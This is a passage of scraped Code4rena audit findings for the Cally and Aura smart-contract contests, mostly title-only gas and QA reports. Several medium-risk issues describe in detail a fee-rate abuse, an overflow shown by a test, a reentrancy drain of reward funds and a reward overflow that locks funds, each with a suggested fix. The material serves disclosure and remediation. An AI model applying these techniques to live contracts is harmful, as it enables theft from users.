"https://github.com/code-423n4/2022-05-cally-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/53", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Vaults steal rebasing tokens' rewards", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-cally-findings", "body": "Vaults steal rebasing tokens' rewards"}, {"title": "Owner can set the feeRate to be greater than 100% and cause all future calls to `exercise` to revert", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/48", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L288-L289 # Vulnerability details ## Impact The owner can force options to be non-exercisable, collecting premium without risking the loss of their NFT/tokens ## Proof of Concept After a buyer buys an option owned by the owner, the owner can change the fee rate to be close to `type(uint256).max`, which will cause the subtraction below to always underflow, preventing the exercise of the option. Once the option expires, the owner can change the fee back and wait for another buyer ```solidity File: contracts/src/Cally.sol #1 288 // increment vault beneficiary's ETH balance 289 ethBalance[getVaultBeneficiary(vaultId)] += msg.value - fee; ``` https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L288-L289 ## Tools Used Code inspection ## Recommended Mitigation Steps Add reasonable fee rate bounds checks in the `setFee()` function "}, {"title": "Owner can modify the feeRate on existing vaults and steal the strike value on exercise", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L117-L121 # Vulnerability details ## Impact Owner can steal the exercise cost which should have gone to the option seller ## Proof of Concept There are no restrictions on when the owner can set the `feeRate`: ```solidity File: contracts/src/Cally.sol #1 117 /// @notice Sets the fee that is applied on exercise 118 /// @param feeRate_ The new fee rate: fee = 1% = (1 / 100) * 1e18 119 function setFee(uint256 feeRate_) external onlyOwner { 120 feeRate = feeRate_; 121 } ``` https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L117-L121 By using a rate that consumes the exercise cost, the owner can steal Ether from the seller: ```solidity File: contracts/src/Cally.sol #2 282 uint256 fee = 0; 283 if (feeRate > 0) { 284 fee = (msg.value * feeRate) / 1e18; 285 protocolUnclaimedFees += fee; 286 } 287 288 // increment vault beneficiary's ETH balance 289 ethBalance[getVaultBeneficiary(vaultId)] += msg.value - fee; ``` https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L282-L289 The owner can wait for a particularly large-value NFT, snipe that one option, then retire ## Tools Used Code inspection ## Recommended Mitigation Steps Fix the fee rate per vault during vault creation "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "QA - High quality report"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Use safeTransferFrom instead of transferFrom for ERC721 transfers", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L199 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L295 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L344 # Vulnerability details ## Details & Impact The `transferFrom()` method is used instead of `safeTransferFrom()`, presumably to save gas. I however argue that this isn\u2019t recommended because: - [OpenZeppelin\u2019s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) discourages the use of `transferFrom()`, use `safeTransferFrom()` whenever possible - Given that any NFT can be used for the call option, there are a few NFTs (here\u2019s an [example](https://github.com/sz-piotr/eth-card-game/blob/master/src/ethereum/contracts/ERC721Market.sol#L20-L31)) that have logic in the `onERC721Received()` function, which is only triggered in the `safeTransferFrom()` function and not in `transferFrom()` ## Recommended Mitigation Steps Call the `safeTransferFrom()` method instead of `transferFrom()` for NFT transfers. Note that the `CallyNft` contract should inherit the `ERC721TokenReceiver` contract as a consequence. ```solidity abstract contract CallyNft is ERC721(\"Cally\", \"CALL\"), ERC721TokenReceiver {...} ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Expiration calculation overflows if call option duration \u2265 195 days", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/16", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L238 # Vulnerability details ## Details & Impact `vault.durationDays` is of type `uint8`, thus allowing a maximum value of 255. `1 days = 86400`, thus fitting into a `uint24`. Solc creates a temporary variable to hold the result of the intermittent multiplication\u00a0`vault.durationDays * 1 days` using the data type of the larger operand. In this case, the intermittent data type used would be `uint24`, which has a maximum value of `2**24 - 1 = 16777215`. The maximum number allowable before overflow achieved is therefore `(2**24 - 1) / 86400 = 194`. ## Proof of Concept Insert this test case into [BuyOption.t.sol](https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/test/units/BuyOption.t.sol) ```solidity function testCannotBuyDueToOverflow() public { vm.startPrank(babe); bayc.mint(babe, 2); // duration of 195 days vaultId = c.createVault(2, address(bayc), premiumIndex, 195, strikeIndex, 0, Cally.TokenType.ERC721); vm.stopPrank(); vm.expectRevert(stdError.arithmeticError); c.buyOption{value: premium}(vaultId); } ``` Then run ``` forge test --match-contract TestBuyOption --match-test testCannotBuyDueToOverflow ``` ## Tidbit This was the 1 high-severity bug that I wanted to mention at the end of the [C4 TrustX showcase](https://youtu.be/up9eqFRLgMQ?t=5722) but unfortunately could not due to a lack of time :( It can be found in the [vulnerable lottery contract](https://gist.github.com/HickupHH3/d214cfe6e4d003f428a63ae7d127af2d) on L39. Credits to Pauliax / Thunder for the recommendation and raising awareness of this bug =p ## Reference [Article](https://muellerberndt.medium.com/building-a-secure-nft-gaming-experience-a-herdsmans-diary-1-91aab11139dc) ## Recommended Mitigation Steps Cast the multiplication into `uint32`. ```solidity vault.currentExpiration = uint32(block.timestamp) + uint32(vault.durationDays) * 1 days; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/365", "labels": [], "target": "2022-05-aura-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/362", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "resolved"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Wrong update of feeManager, poolManager, or voteDelegate (Booster.sol) can lock its functionality", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/361", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "Wrong update of feeManager, poolManager, or voteDelegate (Booster.sol) can lock its functionality"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/359", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/356", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/355", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/352", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/349", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "`CrvDepositor.sol` Wrong implementation of the 2-week buffer for lock", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/343", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/CrvDepositor.sol#L127-L134 # Vulnerability details https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/CrvDepositor.sol#L127-L134 ```solidity uint256 unlockAt = block.timestamp + MAXTIME; uint256 unlockInWeeks = (unlockAt/WEEK)*WEEK; //increase time too if over 2 week buffer if(unlockInWeeks.sub(unlockTime) > 2){ IStaker(staker).increaseTime(unlockAt); unlockTime = unlockInWeeks; } ``` In `_lockCurve()`, `unlockInWeeks - unlockTime` is being used as a number in weeks, while it actually is a number in seconds. Thus, comparing it with `2` actually means a 2 seconds buffer instead of a 2 weeks buffer. The intention is to wait for 2 weeks before extending the lock time again, but the current implementation allows the extension of the lock once a new week begins. ### Recommendation Consider changing the name of `unlockTime` to `unlockTimeInWeeks`, and: 1. Change L94-102 to: https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/CrvDepositor.sol#L94-L102 ```solidity uint256 unlockAt = block.timestamp + MAXTIME; uint256 unlockInWeeks = unlockAt / WEEK; //release old lock if exists IStaker(staker).release(); //create new lock uint256 crvBalanceStaker = IERC20(crvBpt).balanceOf(staker); IStaker(staker).createLock(crvBalanceStaker, unlockAt); unlockTimeInWeeks = unlockInWeeks; ``` 2. Change L127-L134 to: ```solidity uint256 unlockAt = block.timestamp + MAXTIME; uint256 unlockInWeeks = unlockAt / WEEK; //increase time too if over 2 week buffer if(unlockInWeeks.sub(unlockTime) > 2){ IStaker(staker).increaseTime(unlockAt); unlockTimeInWeeks = unlockInWeeks; } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/336", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/335", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/333", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/330", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/329", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/328", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/327", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/326", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/325", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/323", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/317", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "ConvexMasterChef's deposit and withdraw can be reentered drawing all reward funds from the contract if reward token allows for transfer flow control", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/313", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L209-L221 https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L239-L250 # Vulnerability details Reward token accounting update in deposit() and withdraw() happens after reward transfer. If reward token allows for the control of transfer call flow or can be upgraded to allow it in the future (i.e. have or can introduce the _beforetokentransfer, _afterTokenTransfer type of hooks; or, say, can be upgraded to ERC777), the current implementation makes it possible to drain all the reward token funds of the contract by directly reentering deposit() or withdraw() with tiny _amount. Setting the severity to medium as this is conditional to transfer flow control assumption, but the impact is the full loss of contract reward token holdings. ## Proof of Concept Both withdraw() and deposit() have the issue, performing late accounting update and not controlling for reentrancy: https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L209-L221 ```solidity function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accCvxPerShare) .div(1e12) .sub(user.rewardDebt); safeRewardTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( ``` https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/convex-platform/contracts/contracts/ConvexMasterChef.sol#L239-L250 ```solidity function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, \"withdraw: not good\"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accCvxPerShare).div(1e12).sub( user.rewardDebt ); safeRewardTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCvxPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); ``` ## Recommended Mitigation Steps Consider adding a direct reentrancy control, e.g. nonReentrant modifier: https://docs.openzeppelin.com/contracts/2.x/api/utils#ReentrancyGuard Also, consider finishing all internal state updates prior to external calls: https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/#pitfalls-in-reentrancy-solutions "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/312", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/311", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/308", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/307", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/306", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "DOS+griefing attack for AuraVestedEscrow contract by calling fund() because it does not have access control and anyone can call it and initialize contract with wrong parameters", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/305", "labels": ["bug", "disagree with severity", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "DOS+griefing attack for AuraVestedEscrow contract by calling fund() because it does not have access control and anyone can call it and initialize contract with wrong parameters"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/304", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/303", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/300", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/299", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/298", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/297", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/295", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "AuraBalRewardPool can be initiated multiple times by bypassing rewardRate==0 and rewardsAvailable>0 checks.", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/294", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "AuraBalRewardPool can be initiated multiple times by bypassing rewardRate==0 and rewardsAvailable>0 checks."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/291", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/287", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/286", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "DDOS in BalLiquidityProvider", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/285", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "DDOS in BalLiquidityProvider"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/282", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/281", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Precision Error when calculating the penalty for not locking the reward", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-aura-findings", "body": "Precision Error when calculating the penalty for not locking the reward"}, {"title": "Increase voting power by tokenizing the address that locks the token ", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/278", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Increase voting power by tokenizing the address that locks the token "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/276", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/275", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/273", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "ConvexMasterChef: safeRewardTransfer can cause loss of funds", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/272", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "ConvexMasterChef: safeRewardTransfer can cause loss of funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/271", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/270", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/269", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Lack of upperbound on iterated array `rewardTokens` in `AuraLocker`", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/265", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-aura-findings", "body": "Lack of upperbound on iterated array `rewardTokens` in `AuraLocker`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/264", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Integer overflow will lock all rewards in `AuraLocker`", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/261", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/contracts/AuraLocker.sol#L176-L177 https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/contracts/AuraLocker.sol#L802-L814 https://github.com/code-423n4/2022-05-aura/blob/4989a2077546a5394e3650bf3c224669a0f7e690/contracts/AuraLocker.sol#L864 # Vulnerability details ## Impact There is a potential overflow in the rewards calculations which would lead to `updateReward()` always reverting. The impact of this overflow is that all reward tokens will be permanently locked in the contract. User's will be unable to call any of the functions which have the `updateReward()` modifier, that is: - `lock()` - `getReward()` - `_processExpiredLocks()` - `_notifyReward()` As a result the contract will need to call `shutdown()` and the users will only be able to receive their staked tokens via `emergencyWithdraw()`, which does not transfer the users the reward tokens. Note that if one reward token overflows this will cause a revert on all reward tokens due to the loop over reward tokens. ## Proof of Concept The overflow may occur due to the base of values in `_rewardPerToken()`. ```solidity function _rewardPerToken(address _rewardsToken) internal view returns (uint256) { if (lockedSupply == 0) { return rewardData[_rewardsToken].rewardPerTokenStored; } return uint256(rewardData[_rewardsToken].rewardPerTokenStored).add( _lastTimeRewardApplicable(rewardData[_rewardsToken].periodFinish) .sub(rewardData[_rewardsToken].lastUpdateTime) .mul(rewardData[_rewardsToken].rewardRate) .mul(1e18) .div(lockedSupply) ); } ``` The return value of `_rewardPerToken()` is in terms of ``` (now - lastUpdateTime) * rewardRate * 10**18 / totalSupply ``` Here `(now - lastUpdateTime)` has a maximum value of `rewardDuration = 6 * 10**5`. Now `rewardRate` is the `_reward.div(rewardsDuration)` as seen in `_notifyRewardAmount()` on line #864. Note that `rewardDuration` is a constant 604,800. `rewardDuration = 6 * 10**5` Thus, if we have a rewards such as AURA or WETH (or most ERC20 tokens) which have units 10**18 we can transfer 1 WETH to the reward distributor which calls `_notifyRewardAmount()` and sets the reward rate to, `rewardRate = 10**18 / (6 * 10**5) ~= 10**12` Finally, if this attack is run either by the first depositor they may `lock()` a single token which would set `totalSupply = 1`. Therefore our equation in terms of units will become, ``` (now - lastUpdateTime) * rewardRate * 10**18 / totalSupply => 10**5 * 10**12 * 10**18 / 1 = 10**35 ``` In since `rewardPerTokenStored` is a `uint96` it has a maximum value of `2**96 ~= 7.9 * 10**28`. Hence there will be an overflow in `newRewardPerToken.to96()`. Since we are unable to add more total supply due to `lock()` reverting there will be no way to circumvent this revert except to `shutdown()`. ```solidity uint256 newRewardPerToken = _rewardPerToken(token); rewardData[token].rewardPerTokenStored 